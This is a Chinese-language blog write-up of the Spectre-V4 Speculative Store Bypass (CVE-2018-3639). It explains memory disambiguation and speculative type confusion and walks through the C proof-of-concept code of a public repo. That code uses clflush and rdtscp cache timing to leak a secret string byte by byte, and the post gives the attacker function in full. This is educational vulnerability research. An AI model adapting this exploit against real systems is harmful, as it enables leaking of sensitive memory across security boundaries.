Spectre-V4-SSB漏洞复现分析

1 漏洞原理

内存消歧器的错误预测

Spectre-v4的核心并非传统意义上的软件“缺陷”,而是对现代高性能处理器中一项关键性能优化机制的恶意利用 。这个机制被称为

内存消歧(Memory Disambiguation),其目的是为了打破内存读写操作之间的严格顺序,从而提升乱序执行(Out-of-Order Execution)的效率 。

  1. 存储缓冲区与加载延迟 在现代CPU中,store(存储/写入)指令不会立即将数据写入主内存,而是先放入一个高速的“存储缓冲区”(Store Buffer)中 。这样做可以避免CPU因等待缓慢的内存写入而停顿。这也带来一个问题:如果一条 load(加载/读取)指令需要读取的地址,恰好是存储缓冲区中某条尚未完成的store指令的目标地址,那么load必须等待,以确保能读到最新的值,而不是内存中的旧数据 。
  2. 内存消歧器 (Memory Disambiguator) 为了避免不必要的等待,CPU引入了一个预测单元,即内存消歧器。它的工作是预测一条load指令是否与它前面任何地址尚未完全解析的store指令存在依赖关系(即读写同一地址)。
    • 如果预测“不相关”:CPU会允许load指令“绕过”待定的store指令,提前进行推测性执行,直接从L1缓存中读取数据。这正是“推测性存储绕过”(Speculative Store Bypass)这一优化的本质 。
    • 如果预测“相关”load指令则会等待,直到前面的store指令地址确定。
  3. 漏洞触发:一次可被操纵的错误预测,SSB漏洞的根源在于,内存消歧器的预测并非总是正确,并且其行为可以被攻击者诱导 。当CPU错误地预测 loadstore不相关,但实际上它们操作的是同一地址时,漏洞就被触发了。 这会导致load指令在store指令更新内存之前,就推测性地执行,结果是加载到了该内存地址中陈旧的(stale)数据

尽管CPU最终会发现这次预测错误,并丢弃所有基于错误数据推测执行的结果(这个过程称为“瞬态执行”),但在这个短暂的执行窗口内,对陈旧数据的操作已经对CPU的微架构状态(如缓存)造成了不可逆转的、可被观测的副作用 。这正是攻击者窃取信息的物理基础。

攻击原理和利用方式

攻击者利用SSB漏洞构建一个完整的信息泄露攻击链,通常遵循以下精确的步骤 :

执行“慢速存储” (Slow Store)

攻击者精心构造一次store操作,使其目标地址的计算变得缓慢或高延迟。这为后续的load指令创造了一个可以进行错误推测的时间窗口。实现高延迟的方式通常有:

  • 让地址计算依赖于一次必然的缓存未命中。
  • 执行一连串复杂的、相互依赖的算术运算。

执行“快速加载” (Fast Load)

攻击者执行一次从完全相同内存位置load操作。load指令的地址可以被快速计算出来。由于store的地址尚未解析,而load的地址已就绪,内存消歧器很可能会做出错误的预测,认为二者不相关,从而触发推测性存储绕过 。

利用陈旧数据与Disclosure Gadget

由于SSB的发生,load指令读取到的是该内存地址在被store更新之前的陈旧值。这个陈旧值(即秘密信息)在短暂的瞬态执行窗口内,被用作后续指令的输入。这些后续指令被称为“泄露小工具”,其作用是将秘密信息编码到CPU的缓存状态中。

一个经典的泄露小工具如下:

  1. 攻击者预先准备一个大型数组,称为“探测数组”(Probe Array),并确保其所有内容都不在CPU缓存中(通常使用clflush指令)。
  2. 在瞬态执行期间,将加载到的陈旧值(stale_secret_value)用作探测数组的索引,进行一次内存访问,例如 probe_array[stale_secret_value * cache_line_size]
  3. 这次内存访问虽然是推测性的,但它会产生一个物理后果:探测数组中对应于秘密值索引的那个缓存行,会被加载到CPU的L1缓存中 。

通过侧信道恢复秘密

当CPU检测到预测错误并回滚状态后,从程序逻辑上看,对探测数组的访问从未发生过。然而,CPU缓存的状态已经被永久改变了。攻击者此时只需:

  1. 遍历整个探测数组,测量访问其中每一个元素所需的时间。
  2. 绝大多数元素的访问会很慢(缓存未命中),但只有一个元素的访问会极快(缓存命中)。
  3. 这个快速访问的元素的索引,就直接暴露了stale_secret_value的值 。通过重复这个过程,攻击者可以逐字节地读出内存中的敏感信息。

推测性类型混淆 (Speculative Type Confusion)

Google Project Zero的研究人员展示了一种尤为强大的SSB攻击技术,称为“推测性类型混淆” 。其逻辑如下:

  1. 攻击者首先将一个已知的、安全的整数N 存储到栈上的地址 A。这个整数 N 现在是地址 A 的“陈旧数据”。
  2. 然后,攻击者执行一次“慢速存储”,将一个指针P(指向真正的机密数据)写入到同一个地址 A
  3. 接着,执行一次“快速加载”,从地址 A 读取数据。由于SSB,这次加载操作推测性地读取到了陈旧的整数 N
  4. 在泄露小工具中,程序代码原本期望从地址A读出的是一个指针,并会对其进行解引用操作。在瞬态执行期间,这段代码会错误地将整数 N当作一个指针来使用,并尝试访问内存地址 *N
  5. 这次对地址N的推测性访问,会将该地址的内容加载到缓存中,攻击者随后即可通过计时攻击探测到该内容,从而泄露信息 。

2 poc 解析

https://github.com/mmxsrup/CVE-2018-3639

spectre-v4-ssb 示意图.pptx

关键数据结构

1
2
3
4
5
unsigned char** memory_slot_ptr[256];  // 指向指针的指针数组
unsigned char* memory_slot[256]; // 指针数组
unsigned char secret_key[] = "PASSWORD_SPECTRE"; // 机密数据
unsigned char public_key[] = "################"; // 公开数据
uint8_t probe[256 * 4096]; // 探测数组,用于侧信道攻击

受害者函数 (victim_function)

1
2
3
4
5
void victim_function(size_t idx) {
unsigned char **memory_slot_slow_ptr = *memory_slot_ptr;
*memory_slot_slow_ptr = public_key; // 模拟慢速存储
tmp = probe[(*memory_slot)[idx] * 4096]; // 触发访问加载到缓存
}

关键点分析:

  • 第2行:存储操作,试图将 memory_slot 指向 public_key
  • 第3行:加载操作,使用 memory_slot[idx] 作为索引访问 probe 数组
  • 漏洞触发:在推测执行中,第3行可能在第2行完成之前执行,导致使用旧的 memory_slot 值(指向 secret_key

攻击者函数 (attacker_function)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void attacker_function() {
char password[LEN + 1] = {'\0'};

for (int idx = 0; idx < LEN; ++idx) { // 遍历每个字节

int results[256] = {0};
unsigned int junk = 0;

for (int tries = 0; tries < MAX_TRIES; tries++) { // 进行若干次尝试

*memory_slot_ptr = memory_slot;
*memory_slot = secret_key; // 模拟未更新陈旧值

_mm_clflush(memory_slot_ptr); // 刷新内存槽的缓存行
for (int i = 0; i < 256; i++) {
_mm_clflush(&probe[i * 4096]);
}

_mm_mfence();

victim_function(idx);

// 侧信道探测
for (int i = 0; i < 256; i++) {
volatile uint8_t* addr = &probe[i * 4096];
uint64_t time1 = __rdtscp(&junk); // read timer
junk = *addr; // memory access to time
uint64_t time2 = __rdtscp(&junk) - time1; // read timer and compute elapsed time

if (time2 <= CACHE_HIT_THRESHOLD && i != public_key[idx]) {
results[i]++; // cache hit
}
}
}
tmp ^= junk; // use junk so code above won’t get optimized out

int highest = -1;
for (int i = 0; i < 256; i++) {
if (highest < 0 || results[highest] < results[i]) {
highest = i;
}
}
printf("idx:%2d, highest:%c, hitrate:%f\n", idx, highest,
(double)results[highest] * 100 / MAX_TRIES);
password[idx] = highest;
}
printf("%s\n", password);
}

1. 设置阶段

1
2
*memory_slot_ptr = memory_slot;
*memory_slot = secret_key; // 将memory_slot指向机密数据

2. 缓存清理

1
2
3
4
5
_mm_clflush(memory_slot_ptr);  // 清除memory_slot_ptr的缓存
for (int i = 0; i < 256; i++) {
_mm_clflush(&probe[i * 4096]); // 清除probe数组的缓存
}
_mm_mfence(); // 内存屏障,确保清理操作完成

目的:

  • 确保后续的内存访问会产生可测量的时间差异
  • 为侧信道攻击创造条件

3. 触发推测执行

1
victim_function(idx);

推测执行过程:

  1. 处理器开始执行 victim_function
  2. 遇到存储操作:*memory_slot_slow_ptr = public_key
  3. 推测性地执行加载操作,使用旧的 memory_slot 值(指向 secret_key
  4. 访问 probe[secret_key[idx] * 4096],将对应缓存行加·载到缓存中
  5. 推测执行被回滚,但缓存状态已被改变

4. 侧信道检测

1
2
3
4
5
6
7
8
9
10
for (int i = 0; i < 256; i++) {
volatile uint8_t* addr = &probe[i * 4096];
uint64_t time1 = __rdtscp(&junk);
junk = *addr;
uint64_t time2 = __rdtscp(&junk) - time1;

if (time2 <= CACHE_HIT_THRESHOLD && i != public_key[idx]) {
results[i]++; // 记录缓存命中
}
}

检测原理:

  • 遍历所有可能的字节值 (0-255)
  • 测量访问 probe[i * 4096] 的时间
  • 如果访问时间很短(缓存命中),说明该位置在推测执行中被访问过
  • 排除 public_key[idx] 对应的值,因为正常执行也会访问它

3 漏洞复现

  • i7-8700

Spectre-V4-SSB漏洞复现分析
http://candyb0x.github.io/2025/09/02/Spectre-V4-SSB漏洞复现分析/
作者
Candy
发布于
2025年9月2日
更新于
2025年9月2日
许可协议